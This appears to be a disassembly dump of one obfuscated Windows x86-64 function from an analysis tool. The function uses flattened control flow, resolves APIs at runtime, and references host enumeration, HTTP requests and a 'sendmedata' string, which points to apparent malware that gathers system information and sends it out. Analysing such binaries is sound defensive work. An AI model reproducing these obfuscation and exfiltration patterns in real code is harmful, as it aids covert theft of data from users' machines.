Function at 0x140017430
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x288
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1f0], xmm10
movaps xmmword [rbp + 0x1e0], xmm9
movaps xmmword [rbp + 0x1d0], xmm8
movaps xmmword [rbp + 0x1c0], xmm7
movaps xmmword [rbp + 0x1b0], xmm6
mov r13, rcx
mov rax, qword [0x1400810a8]
xor rax, rbp
mov qword [rbp + 0x1a8], rax
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0xe2b9ad3b
mov eax, edx
and eax, 0x1d4652c4
or eax, ebx
xor eax, 0x1d4652c5
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
sete byte [rbp - 0x12]
cmp ecx, 0xa
setl byte [rbp - 0x11]
movabs rax, 0x52931eaf2d10ee7e
movabs rcx, 0xad6ce150d2ef1178
add rcx, rax
mov qword [rbp - 0x78], rcx
xorps xmm6, xmm6
movaps xmm8, xmmword [str.GetDesktopWindowGetSystemMetricsCreateCompatibleCoCreateInstanceGetComputerNameWCreateToolhelp32InternetOpenUrlWInternetReadFileInternetCloseHanInternetConnectWHttpOpenRequestWHttpSendRequestAication_x_www_fotPzmyewIyZEqvdPcs]
movaps xmm9, xmmword [0x140074850]
movaps xmm7, xmmword [0x140074860]
movaps xmm10, xmmword [0x140074870]
mov r14, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, 0x5ebcc5bc
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, eax
xor dl, cl
and cl, al
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0xb5c20c20
mov ebx, 0x99844145
cmovne eax, ebx
test cl, cl
mov ecx, 0xb5c20c20
cmovne ecx, eax
test dl, dl
cmove ecx, eax
mov eax, ecx
nop word [rax + rax]
cmp eax, 0x8481398
jg 0x1400176a0
cmp eax, 0xc9aadfc0
jg 0x140017630
cmp eax, 0xa01e3261
jle 0x1400177c9
cmp eax, 0xb1a69c0b
jle 0x140017b30
cmp eax, 0xb8631533
jg 0x140017f30
cmp eax, 0xb5c20c1f
jle 0x140018a0d
cmp eax, 0xb6a09e40
jle 0x140019b1a
cmp eax, 0xb6a09e41
je 0x14001b8fe
cmp eax, 0xb72343b4
je 0x14001b919
cmp eax, 0xb7713f99
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov eax, ecx
xor al, bl
test bl, bl
mov edx, 0xff7f1342
mov ebx, 0xa1d536f
cmovne edx, ebx
test cl, cl
mov ecx, 0xff7f1342
jmp 0x14001df26
cmp eax, 0xf1a09209
jle 0x140017872
cmp eax, 0xfbdb0ed5
jle 0x140017bd8
cmp eax, 0x28ca3b
jg 0x140017fb8
cmp eax, 0xfdfd9d63
jle 0x140018a92
cmp eax, 0xff4e4e0c
jle 0x140019b6d
cmp eax, 0xff4e4e0d
je 0x14001b993
cmp eax, 0xff7f1342
je 0x14001b9c0
cmp eax, 0xffda495f
jne 0x140017570
mov eax, 0xf88dc79f
cmp eax, 0x8481398
jle 0x14001757b
nop dword [rax + rax]
cmp eax, 0x450f3c6c
jle 0x140017710
cmp eax, 0x67f80ac8
jle 0x14001792d
cmp eax, 0x7033c78d
jle 0x140017aae
cmp eax, 0x744bc9fc
jg 0x140018019
cmp eax, 0x72144b23
jle 0x140018b21
cmp eax, 0x72fab788
jle 0x140019bb4
cmp eax, 0x72fab789
je 0x14001bc01
cmp eax, 0x731442a7
je 0x14001bca3
cmp eax, 0x73345f6a
jne 0x140017570
mov eax, 0xcae31e45
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x27f5174d
jle 0x1400179b3
cmp eax, 0x35e3b4e2
jle 0x140017c9a
cmp eax, 0x3e4e9c82
jg 0x1400180c7
cmp eax, 0x3aa81274
jle 0x140018b9e
cmp eax, 0x3b958a0b
jle 0x140019c42
cmp eax, 0x3b958a0c
je 0x14001bd33
cmp eax, 0x3c9414bf
je 0x14001bdd5
cmp eax, 0x3dd90ceb
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0xb522443d
and ecx, 0x4addbbc2
or ecx, eax
xor ecx, 0x4addbbc2
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov ebx, edx
xor bl, cl
test cl, cl
mov eax, 0xd8ae3925
mov ecx, 0x450f3c6d
cmovne eax, ecx
test dl, dl
mov edx, 0xd8ae3925
jmp 0x140017aa4
cmp eax, 0x9139d512
jg 0x140017d38
cmp eax, 0x85366260
jle 0x14001817d
cmp eax, 0x8bf4b4f0
jle 0x140018df9
cmp eax, 0x8d59a8fd
jle 0x140019ccc
cmp eax, 0x8d59a8fe
je 0x14001bdf4
cmp eax, 0x8da95392
je 0x14001be3d
cmp eax, 0x90b9ede0
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x2a914e69
and ecx, 0xd56eb196
or ecx, edx
xor ecx, 0xd56eb197
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov ebx, ecx
xor bl, dl
test cl, cl
mov eax, 0x43bb7fab
mov ecx, 0x804f1ffd
cmovne eax, ecx
test dl, dl
mov edx, 0x43bb7fab
jmp 0x140017aa4
cmp eax, 0xd7d552c7
jg 0x140017dd3
cmp eax, 0xd29075f3
jle 0x1400181c8
cmp eax, 0xd5f1a3fb
jle 0x140018e6e
cmp eax, 0xd657840a
jle 0x140019d3e
cmp eax, 0xd657840b
je 0x14001beaf
cmp eax, 0xd73f0213
je 0x14001bf14
cmp eax, 0xd75aca13
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0x8ef84694
mov eax, edx
and eax, 0x7107b96b
or eax, ebx
xor eax, 0x7107b96a
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
xor cl, dl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov eax, ebx
xor al, cl
mov edx, 0xd339e5f0
mov eax, 0x5c7c7ff0
cmovne edx, eax
test bl, bl
mov eax, 0xd339e5f0
cmovne eax, edx
jmp 0x14001d9ab
cmp eax, 0x55b5246a
jg 0x140017e2a
cmp eax, 0x4f047da6
jle 0x140018281
cmp eax, 0x52aae6d7
jle 0x140018f3a
cmp eax, 0x53b38a47
jle 0x140019d9b
cmp eax, 0x53b38a48
je 0x14001bf29
cmp eax, 0x53cdcd36
je 0x14001bf8c
cmp eax, 0x55852a4d
jne 0x140017570
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
xor edx, edx
call qword [rax + 0x18]
add rsp, 0x20
mov dword [rbp - 0x18], eax
test eax, eax
mov eax, 0x32f6771
mov ecx, 0x784443d
cmovns eax, ecx
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x10660987
jg 0x140017ed9
cmp eax, 0xcceb8e9
jle 0x14001837c
cmp eax, 0xe851125
jle 0x140018f76
cmp eax, 0xf7ac24c
jle 0x140019ff2
cmp eax, 0xf7ac24d
je 0x14001c01f
cmp eax, 0xfbec358
je 0x14001c0b0
cmp eax, 0x103d1af8
jne 0x140017570
mov rax, qword [rbp]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov rax, qword [rbp + 0xf8]
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xc75f3f8a
and ecx, 0x38a0c075
or ecx, eax
mov eax, ecx
xor eax, 0x38a0c075
xor ecx, 0x811c100a
and ecx, 0xb13cd05e
mov edx, eax
and edx, 0x4ec32fa1
or edx, ecx
xor edx, 0x4ec32fa0
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xd64413
and eax, 0xff29bbec
or eax, ecx
xor eax, 0xff29bbec
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov ebx, edx
xor bl, cl
test cl, cl
mov eax, 0xfe41ac2e
mov ecx, 0xf59a8c52
cmovne eax, ecx
test dl, dl
mov edx, 0xfe41ac2e
cmovne eax, edx
test bl, bl
jmp 0x14001f199
cmp eax, 0x69761103
jle 0x14001816d
cmp eax, 0x6b852cac
jle 0x140018fac
cmp eax, 0x6c795751
jle 0x14001a01d
cmp eax, 0x6c795752
je 0x14001c139
cmp eax, 0x6ec5fd6e
je 0x14001c16a
cmp eax, 0x6fa9d85b
jne 0x140017570
mov rax, qword [rbp + 0x10]
mov rax, qword [rbp + 0x10]
mov qword [rax], 0
mov rax, qword [rbp]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rdx, qword [rbp + 0x10]
sub rsp, 0x20
xor r8d, r8d
call qword [rax + 0x50]
add rsp, 0x20
mov eax, 0x72fab789
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0xa551e16c
jle 0x140018446
cmp eax, 0xababdc6e
jle 0x140019023
cmp eax, 0xae8b2e92
jle 0x14001a0c1
cmp eax, 0xae8b2e93
je 0x14001c17f
cmp eax, 0xb01a74ca
je 0x14001c194
cmp eax, 0xb0ff86e5
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xb6211a77
and edx, 0x49dee588
or edx, ebx
xor edx, 0xb6211a76
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov edx, ecx
xor dl, bl
test bl, bl
mov eax, 0xa4aa0540
mov ebx, 0xb72343b4
cmovne eax, ebx
test cl, cl
mov ecx, 0xa4aa0540
jmp 0x14001e63d
cmp eax, 0xf6aaf956
jle 0x140018510
cmp eax, 0xf88dc79e
jle 0x1400190a4
cmp eax, 0xfabe21ed
jle 0x14001a0e7
cmp eax, 0xfabe21ee
je 0x14001c20c
cmp eax, 0xfb0ceb1f
je 0x14001c255
cmp eax, 0xfb825d3d
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0x985d3c9a
mov ebx, eax
and ebx, 0x67a2c365
or ebx, edx
xor ebx, 0x67a2c364
and eax, 0xfffffffe
or eax, ebx
mov edx, eax
not edx
and edx, 0x2da0168a
and eax, 0xd25fe975
or eax, edx
xor eax, 0xd25fe975
setne al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl cl
xor cl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
mov ebx, 0x1f9c1f6f
mov eax, 0xa8f911f3
cmovne ebx, eax
test dl, dl
mov eax, 0xa8f911f3
cmovne eax, ebx
jmp 0x14001edae
cmp eax, 0x2cebb196
jle 0x140018551
cmp eax, 0x31340b9a
jle 0x1400190db
cmp eax, 0x3307ac9a
jle 0x14001a16f
cmp eax, 0x3307ac9b
je 0x14001c2c6
cmp eax, 0x34b3eed3
je 0x14001c34b
cmp eax, 0x35b4948a
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x47e690b0
and ecx, 0xb8196f4f
or ecx, edx
xor ecx, 0xb8196f4e
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x6fa9d85b
mov ebx, 0x72fab789
cmovne ecx, ebx
test dl, dl
mov edx, 0x6fa9d85b
jmp 0x14001f698
cmp eax, 0x9ab7b3d6
jle 0x140018624
cmp eax, 0x9d1814a2
jle 0x14001916a
cmp eax, 0x9e5705ae
jle 0x14001a1e9
cmp eax, 0x9e5705af
je 0x14001c536
cmp eax, 0x9efaebab
je 0x14001c5a3
cmp eax, 0x9f7f3581
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
cmp ecx, 0xffffffff
setne al
sete cl
cmp dword [0x14008201c], 9
setg dl
xor cl, dl
mov ebx, edx
xor bl, al
and dl, al
or dl, bl
mov eax, ecx
xor al, dl
test dl, dl
mov edx, 0x8d2d3f65
mov ebx, 0xfbf27773
cmovne edx, ebx
test cl, cl
cmovne edx, ebx
test al, al
mov eax, 0x8d2d3f65
jmp 0x14001f4e8
cmp eax, 0xe1fb84e0
jle 0x1400186d8
cmp eax, 0xe5e94d25
jle 0x1400191b5
cmp eax, 0xeb3391bb
jle 0x14001a214
cmp eax, 0xeb3391bc
je 0x14001c6c0
cmp eax, 0xed23d8cd
je 0x14001c744
cmp eax, 0xee0af10b
jne 0x140017570
mov eax, 0x7231e97d
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x5ebcc5bb
jle 0x140018719
cmp eax, 0x6238ec77
jle 0x1400191eb
cmp eax, 0x627d359e
jle 0x14001a243
cmp eax, 0x627d359f
je 0x14001c759
cmp eax, 0x634761a1
je 0x14001c802
cmp eax, 0x6414828e
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x91e573a8
and edx, 0x6e1a8c57
or edx, ebx
xor edx, 0x6e1a8c56
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
mov ecx, 0xeb3391bc
mov edx, 0xf7564599
cmovne ecx, edx
test bl, bl
mov edx, 0xeb3391bc
jmp 0x14001da87
cmp eax, 0x1ac0451a
jle 0x140018989
cmp eax, 0x1f9c1f6e
jle 0x1400192d1
cmp eax, 0x265b557c
jle 0x14001a2c7
cmp eax, 0x265b557d
je 0x14001c889
cmp eax, 0x279fb520
je 0x14001ce6a
cmp eax, 0x27a7624b
jne 0x140017570
mov eax, 0x15670932
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0xbf0a317d
jle 0x14001935a
cmp eax, 0xc0f272df
jle 0x14001a34b
cmp eax, 0xc0f272e0
je 0x14001ce7f
cmp eax, 0xc167d60c
je 0x14001ce8f
cmp eax, 0xc22d4ded
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x14008201c], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0x28ca3c
mov ebx, 0xf2bda013
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0x28ca3c
jmp 0x14001d9a8
cmp eax, 0x42ef2a6
jle 0x1400193e6
cmp eax, 0x6e6d25c
jle 0x14001a3e3
cmp eax, 0x6e6d25d
je 0x14001cec6
cmp eax, 0x784443d
je 0x14001cedb
cmp eax, 0x7df6a6a
jne 0x140017570
mov rax, qword [rbp]
mov rcx, qword [rax]
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x58]
add rsp, 0x20
mov eax, 0x3aa81275
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x7773f0ac
jle 0x14001947c
cmp eax, 0x7b786f1c
jle 0x14001a42a
cmp eax, 0x7b786f1d
je 0x14001cf52
cmp eax, 0x7e3260a2
je 0x14001cf67
cmp eax, 0x7ef07590
jne 0x140017570
mov eax, dword [0x140082018]
mov ecx, dword [0x14008201c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0xa4f91132
and edx, 0x5b06eecd
or edx, eax
xor edx, 0x5b06eecd
setne al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl cl
xor cl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
mov eax, 0xed23d8cd
mov ebx, 0xa186100b
cmovne eax, ebx
test dl, dl
mov edx, 0xa186100b
cmovne edx, eax
mov ebx, dword [rbp - 0x54]
mov dword [rbp + 0x1a0], ebx
jmp 0x14001f4e6
cmp eax, 0x42a67487
jle 0x1400194ad
cmp eax, 0x43bb7faa
jle 0x14001a800
cmp eax, 0x43bb7fab
je 0x14001cf7c
cmp eax, 0x43d735e6
je 0x14001cf91
cmp eax, 0x44f99e44
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov ebx, ecx
xor bl, dl
test cl, cl
mov eax, 0x97887130
mov edi, 0xb3996662
cmovne eax, edi
test dl, dl
mov ecx, 0x97887130
cmovne eax, ecx
mov ecx, dword [rbp - 0x50]
mov dword [rbp + 0x19c], ecx
test bl, bl
cmove eax, edi
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x67f80ac9
je 0x14001fe39
jmp 0x140017570
cmp eax, 0x833da0e2
jg 0x140019542
cmp eax, 0x80ce0782
jg 0x14001a82b
cmp eax, 0x801f1bd8
je 0x14001cff1
cmp eax, 0x804f1ffd
jne 0x140017570
cmp byte [rbp + 0x117], 0
mov eax, 0x2c20e400
mov ecx, 0xf5d5408d
cmovne eax, ecx
mov ecx, dword [rbp + 0x110]
jmp 0x14001e017
cmp eax, 0xcde28b52
jg 0x140019578
cmp eax, 0xcae31e44
jg 0x14001a8cc
cmp eax, 0xc9aadfc1
je 0x14001d022
cmp eax, 0xca152a6d
jne 0x140017570
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xe67d5ac5
and ecx, 0x1982a53a
or ecx, eax
mov eax, ecx
xor eax, 0x1982a53a
xor ecx, 0x642d4085
and ecx, 0x6c2d6485
mov edx, eax
and edx, 0x93d29b7a
or edx, ecx
xor edx, 0x93d29b7b
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
setne r8b
cmp dword [0x14008201c], 0xa
setl dl
xor r8b, dl
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov ecx, r8d
xor cl, dl
test dl, dl
mov eax, 0x3e4e9c83
mov edx, 0x84bf5f61
cmovne eax, edx
test r8b, r8b
cmovne eax, edx
test cl, cl
mov ecx, 0x3e4e9c83
jmp 0x14001f467
cmp eax, 0x46ff558c
jg 0x1400195f6
cmp eax, 0x4662ef8b
jg 0x14001a991
cmp eax, 0x450f3c6d
je 0x14001d040
cmp eax, 0x45776630
jne 0x140017570
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov rax, qword [rbp]
mov qword [rax], 0
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov r9, qword [rbp]
sub rsp, 0x20
lea rdx, [0x140074960]
xor r8d, r8d
call qword [rax + 0x40]
add rsp, 0x20
mov dword [rbp + 0xf0], eax
cmp dword [rbp + 0xf0], 0
setns byte [rbp + 0xf7]
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xf80bc9c6
and ecx, 0x7f43639
or ecx, eax
mov eax, ecx
xor eax, 0x7f43639
xor ecx, 0x38018146
and ecx, 0x3925817f
mov edx, eax
and edx, 0xc6da7e80
or edx, ecx
xor edx, 0xc6da7e81
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x14008201c], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0x3c9414bf
mov ebx, 0xd64ce2f9
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0x3c9414bf
jmp 0x14001d9a8
cmp eax, 0xabb0e46
jg 0x14001962d
cmp eax, 0xa1d536e
jg 0x14001a9bc
cmp eax, 0x8481399
je 0x14001d0c7
cmp eax, 0x88fd8f5
jne 0x140017570
mov ecx, dword [0x140082018]
mov edi, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x9143d853
and edx, 0x6ebc27ac
or edx, ecx
mov ecx, edx
xor ecx, 0x6ebc27ac
xor edx, 0x11438052
and edx, 0x7d57a05e
mov ebx, ecx
and ebx, 0x82a85fa1
or ebx, edx
xor ebx, 0x82a85fa0
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x88ffdbcf
and ecx, 0x77002430
or ecx, edx
xor ecx, 0x77002430
sete cl
setne al
cmp edi, 0xa
setl bl
cmp edi, 9
setg dl
and cl, dl
or dl, al
and bl, al
or bl, cl
mov ecx, ebx
xor cl, dl
test bl, bl
mov eax, 0x60f80124
mov ebx, 0xac26bdcf
cmovne eax, ebx
test dl, dl
mov edx, 0x60f80124
jmp 0x14001ee46
cmp eax, 0xa186100a
jg 0x14001970b
cmp eax, 0xa082e71f
jg 0x14001a9e7
cmp eax, 0xa01e3262
je 0x14001d487
cmp eax, 0xa0773125
jne 0x140017570
mov ecx, dword [0x140082018]
mov edi, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x66346915
and edx, 0x99cb96ea
or edx, ecx
mov ecx, edx
xor ecx, 0x99cb96ea
xor edx, 0x26004801
and edx, 0x2f81c823
mov ebx, ecx
and ebx, 0xd07e37dc
or ebx, edx
xor ebx, 0xd07e37dd
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x364eba05
and ecx, 0xc9b145fa
or ecx, edx
xor ecx, 0xc9b145fa
sete cl
setne al
cmp edi, 0xa
setl bl
cmp edi, 9
setg dl
and cl, dl
or dl, al
and bl, al
or bl, cl
mov eax, edx
xor al, bl
mov ecx, 0x9bb1b4e7
mov eax, 0xddf9089b
cmovne ecx, eax
test bl, bl
mov eax, ecx
mov ebx, 0x9bb1b4e7
jmp 0x14001d0bd
cmp eax, 0xf3b39ae2
jg 0x140019795
cmp eax, 0xf337bab3
jg 0x14001aa12
cmp eax, 0xf1a0920a
je 0x14001d4b1
cmp eax, 0xf2bda013
jne 0x140017570
mov eax, 0xc22d4ded
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x29cf35ff
jg 0x14001980d
cmp eax, 0x28431fb4
jg 0x14001aa97
cmp eax, 0x27f5174e
je 0x14001d4cd
cmp eax, 0x282bf453
jne 0x140017570
mov rax, qword [rbp]
mov rcx, qword [rax]
mov rax, qword [rcx]
mov rdx, qword [rbp + 8]
mov rdx, qword [rdx]
sub rsp, 0x20
mov r8d, 2
call qword [rax + 0x18]
add rsp, 0x20
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x11e25522
mov edx, eax
and edx, 0xee1daadd
or edx, ecx
xor edx, 0xee1daadc
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x4899c30f
and eax, 0xb7663cf0
or eax, ecx
xor eax, 0xb7663cf0
sete al
setne cl
cmp dword [0x14008201c], 0xa
setl dl
xor cl, dl
mov ebx, edx
xor bl, al
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, bl
test dl, dl
mov ecx, 0x5f4dcf0b
mov edx, 0xc167d60c
cmovne ecx, edx
test bl, bl
cmove ecx, edx
test al, al
mov eax, 0x5f4dcf0b
jmp 0x140017565
cmp eax, 0x97d75017
jg 0x140019880
cmp eax, 0x962cceb1
jg 0x14001ab4b
cmp eax, 0x9139d513
je 0x14001d527
cmp eax, 0x93c6f074
jne 0x140017570
mov ecx, dword [0x140082018]
mov eax, dword [0x14008201c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x9efb483e
mov ebx, ecx
and ebx, 0x6104b7c1
or ebx, edx
xor ebx, 0x6104b7c0
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xd78a38e9
and ecx, 0x2875c716
or ecx, edx
xor ecx, 0x2875c716
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and cl, al
and bl, r8b
and al, dl
or al, bl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x52aae6d8
mov ebx, 0x19c504f1
cmovne eax, ebx
test cl, cl
mov ecx, 0x52aae6d8
jmp 0x14001c015
cmp eax, 0xdabcf961
jg 0x140019909
cmp eax, 0xd8c8e0df
jg 0x14001ab76
cmp eax, 0xd7d552c8
je 0x14001d590
cmp eax, 0xd8ae3925
jne 0x140017570
mov eax, 0x450f3c6d
cmp eax, 0x8481398
jg 0x1400176a0
jmp 0x14001757b
cmp eax, 0x58ffd8df
jg 0x140019997
cmp eax, 0x58687a78
jg 0x14001abb6
cmp eax, 0x55b5246b
je 0x14001d624
cmp eax, 0x58536697
jne 0x140017570
mov rcx, qword [rbp + 0x160]
sub rsp, 0x20
call qword [0x140082020]
add rsp, 0x20
mov edx, dword [rbp + 0x174]
mov rcx, qword [rbp + 0x178]
sub rsp, 0x20
call fcn.14000aec0
add rsp, 0x20
mov r15, rax
sub rsp, 0x20
mov rcx, rax
call fcn.140060a40
add rsp, 0x20
mov rdi, rax
sub rsp, 0x30
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r15
lea rcx, [0x140082040]
xor edx, edx
lea r8, [0x140082070]
xor r9d, r9d
call fcn.1400490f0
add rsp, 0x30
movsxd rdx, edi
sub rsp, 0x20
mov rcx, r15
call fcn.14000aec0
add rsp, 0x20
mov r12, r14
mov r14, rax
mov rax, qword [rbp + 0x40]
mov rdi, qword [rbp + 0x40]
movaps xmmword [rdi], xmm6
movaps xmmword [rdi + 0x10], xmm6
movaps xmmword [rdi + 0x20], xmm6
mov word [rdi + 0x30], 0
sub rsp, 0x20
mov r8d, 0x32
lea rcx, [0x140081b60]
mov rdx, rdi
call fcn.140010710
mov rcx, r14
call fcn.140060a40
add rsp, 0x20
mov rsi, rax
shl rsi, 0x20
movabs rax, 0xe266ecaf083e66ff
add rsi, rax
movabs rcx, 0x575a763c3ce8f17e
sub rsi, rcx
sub rsi, rax
movabs rax, 0x7d000000000
add rsi, rax
movabs rax, 0x39b8508603e8f063
add rsi, rax
add rsi, rcx
sub rsi, rax
sar rsi, 0x20
sub rsp, 0x20
mov rcx, rsi
call fcn.14005ff54
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov rcx, rax
xor edx, edx
mov r8, rsi
call fcn.140059c80
mov rcx, rdi
call fcn.140060a40
mov rcx, rdi
mov rdx, rax
call fcn.14000aec0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, rbx
lea rdx, str.dtysccid_sdtior_s
lea r8, [0x140082080]
mov r9, r14
call section..text
add rsp, 0x20
mov rax, qword [rbp + 0x48]
mov rsi, qword [rbp + 0x48]
sub rsp, 0x20
mov r8d, 0x5dc
mov rcx, rsi
xor edx, edx
call fcn.140059c80
mov rcx, rsi
lea rdx, str._ymybisvimqjoknhmgryit_sendmedataoknmkehdn_
call fcn.140060c84
mov rcx, rbx
call fcn.140060a40
mov rcx, rbx
mov rdx, rsi
mov r8d, eax
call fcn.140011990
add rsp, 0x20
mov rcx, qword [rbp + 0x178]
sub rsp, 0x20
call fcn.14005ff40
mov rcx, rbx
call fcn.14005ff40
mov rcx, rdi
call fcn.14005ff40
mov rcx, r15
call fcn.14005ff40
mov rcx, r14
mov r14, r12
call fcn.14005ff40
add rsp, 0x20
mov eax, dword [0x140082018]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x33420be4
and ecx, 0xccbdf41b
or ecx, edx
xor ecx, 0xccbdf41a
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x14008201c], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov eax, 0xa551e16d
mov ebx, 0x3307ac9b
cmovne eax, ebx
